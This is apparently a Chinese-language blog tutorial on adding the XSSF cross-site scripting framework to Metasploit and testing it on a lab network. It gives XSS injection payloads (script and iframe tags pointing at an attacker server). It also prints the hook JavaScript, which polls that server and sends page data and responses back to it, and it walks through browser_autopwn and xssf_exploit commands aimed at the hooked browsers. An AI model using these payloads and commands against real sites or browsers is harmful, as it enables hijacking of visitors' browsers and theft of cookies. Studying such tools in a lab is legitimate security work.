为Metasploit添加XSSF模块

在看《Metasploit渗透测试魔鬼训练营》的时候讲的XSSF模块的使用,感觉这个模块很神奇,原理虽然不知道但是觉得应该让大家的Metasploit都添加上这个模块,以备不时之需,本文目的仅仅是分享一下XSSF这个工具的安装和使用方法。

KALI Llinux安装方法:

安装最新的KALI Linux,现在是v1.0.6版本,metasploit版本4.8.2(下载地址http://www.kali.org/downloads/)

终端输入:

svn exporthttp://xssf.googlecode.com/svn/trunk/ XSSF

下载XSSF源代码,下载完成后会出现在根目录下,然后找到/opt/metasploit/apps/pro/msf3目录,将XSSF文件夹中的data、lib、modules、plugins与msf3下的文件夹合并即可。

接下来运行metsaploit framework

 

 

加载xssf模块:

 

msf > load xssf

13904629861992

Windows安装XSSF模块

下载安装Metasploit windows免费版

http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe

下载xssf源代码:选择最新的3.0下载,下载地址(http://code.google.com/p/xssf/downloads/list)

安装完成后将下xssf源码放到安装目录msf3下(如D:metasploitappspromsf3),同样将XSSF文件夹中的data、lib、modules、plugins与msf3下的文件夹合并即可。

运行metasploit客户端

加载xssf模块:

msf > load xssf

13904637865774

这样就可以使用了。

‍测试:

在靶机的博客中添加xss代码,让其访问“http://10.228.5.14:8888/loop”这个页面,至于怎么构造成XSS我也不太清楚,我在博客的页面写了两个XSS代码,一个是<script /xss src=http://10.228.5.14:8888/loop/></script>,另一个是<iframe src=http://10.228.5.14:8888/loop/></iframe>,当我访问之后在Metasploit中显示了有客户端连接成功(使用xssf_victims),如图:

139047113397

大家可以看到5.10是XP系统的靶机,5.14是我的真机win 8.1+Firefox 26。

在iframe插入的窗口中可以看到10.228.5.14:8888/loop的源代码,本人能力有限,只能看出第一句尝试获取cookie,后面的就不确定了。

function XSSF_EXECUTE_LOOP() {
                        try { if (document.getElementById('XSSF_CODE') != null) document.body.removeChild(document.getElementById('XSSF_CODE')); } catch(e) {}
                        script = document.createElement('script');    script.id = "XSSF_CODE";
                        script.src = "http://10.228.5.14:8888/ask?location=" + window.location.protocol + "//" + window.location.host + "&id=3&time=" + escape(new Date().getTime());
                        document.body.appendChild(script);
                    }

                    if (typeof(XSSF_LOOP) != "undefined")    clearInterval(XSSF_LOOP);
                    XSSF_LOOP = setInterval(XSSF_EXECUTE_LOOP, 10 * 1000);    // Interrupt with clearInterval(XSSF_LOOP);

                    function XSSF_CREATE_XHR() {
                        if (window.XMLHttpRequest) return new XMLHttpRequest();
                        if (window.XDomainRequest) return new XDomainRequest(); 
                        if (window.ActiveXObject) {
                            var names = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
                            for(var i in names) {
                                try{ return new ActiveXObject(names[i]); }
                                catch(e){}
                            }
                        }
                    }
                    function XSSF_GARBAGE() {
                        var iframes = document.getElementsByTagName('iframe');
                        for(var i = 0; i < iframes.length; i++)
                            if(iframes.item(i).getAttribute('name') == 'POST_IFRAME')
                                document.body.removeChild(iframes.item(i));
                    }
                    XSSF_DO_GARBAGE = setInterval(XSSF_GARBAGE, 10 * 1000);

                        function XSSF_PROCESS_BINARY(xmlhttp) {
                            data = xmlhttp.responseText;    r = "";        size = data.length;
                            for(var i = 0; i < size; i++)    r += String.fromCharCode(data.charCodeAt(i) & 0xff);
                            return r;
                        }

                    function XSSF_POST_BINARY_AJAX_RESPONSE(x, method, url, mod_name, data, resp_id) {
                        mod_name = mod_name || null;    data = data || null;    resp_id    = resp_id || Math.floor(Math.random()*10000000);
                        if ((method != "GET") && (method != "POST")) return;
                        x.open(method, url, true);
                        x.setRequestHeader('Cache-Control', "no-cache");        x.setRequestHeader('Accept-Charset', "x-user-defined");                    
                        if (x.overrideMimeType)                                 x.overrideMimeType('text/plain; charset=x-user-defined');
                        if (method == "POST"){
                            x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                            x.setRequestHeader("Content-length", data.length);        
                            x.setRequestHeader("Connection", "close");
                        }    
                        x.send(unescape(data));
                        x.onreadystatechange=function() {
                            if (x.readyState == 4) 
                                XSSF_POST(XSSF_PROCESS_BINARY(x), mod_name, x.getAllResponseHeaders() + "\n===" + x.status + "===\n==" + x.statusText + "==", resp_id);
                        }
                    }
                    function XSSF_CREATE_IFRAME(id, width, height) {        // Creates an Iframe
                        if (document.getElementById(id) != null) document.body.removeChild(document.getElementById(id));

                        i = document.createElement('iframe');    i.id = id;
                        i.width = "0" + width + "%";            i.height = "0" + height + "%";
                        i.style.border = "0px";                    i.frameborder = "0";
                        i.scrolling = "auto";                    i.style.backgroundColor = "transparent";

                        return i;
                    }

                    function XSSF_POST_B64(response, mod_name) {
                        XSSF_POST("__________" + response + "__________", mod_name);
                    }

                        function XSSF_POST(response, mod_name, headers, resp_id) {
                            x = XSSF_CREATE_XHR();
                            headers = headers || "";        mod_name = mod_name || "Unknown";        resp_id    = resp_id || Math.floor(Math.random()*10000000);

                            x.open("POST", "http://10.228.5.14:8888/answer");
                            x.send("name=" + escape(mod_name) + "&response=" + escape(response) + "&headers=" + escape(headers) + "&responseid=" + escape(resp_id) + "&id=3");
                        }

                    XSSF_SERVER = "http://10.228.5.14:8888/";
                    XSSF_VICTIM_ID     = 3;
                    XSSF_XHR         = XSSF_CREATE_XHR();

Firefox访问的时候什么提示都没有,但是XP靶机进行访问的时候出现一个对话框,说文件不能被下载,浏览器找不到目标,防火墙已经关闭了,IE安全属性也是最低,不知到原因,希望知道原因的大牛告诉一下。

XP的靶机不能打开链接,所以只能用真机试。–>在这里有一个误区,因为我看到XP靶机下面显示了一个NO,真机下面显示了一个YES,以为XP的IE浏览器无法检测,其实不然,我之后把窗口拉大又进行了测试,发现YES和NO指的是是否获取了cookie,并不是浏览器能否被检测。应该是看active选项,true可以进行测试,false不可以进行测试。

1390526720223

对firefox进行测试:

use auxiliary/server/browser_autopwn

set LHOST 10.228.5.14      #xssf捕捉到的客户端IP (被攻击者)

set SRVHOST 10.228.5.14    #运行metasploit的IP地址(攻击者)

exploit      #检测漏洞

jobs         #查看可用EXP

xssf_exploit 2 37    (2-xssf捕捉到的客户端序号,37-漏洞利用序号)

 

查看利用结果:sessions   #显示会话

 

测试了几个浏览器的漏洞没有成功,但是对于XSS的测试还是有帮助的,至少不会每次都是截一个弹窗的图,需要学习的还很多希望大牛们多多指点。

为Metasploit添加XSSF模块:等您发表观点!

发表评论


快捷键:Ctrl+Enter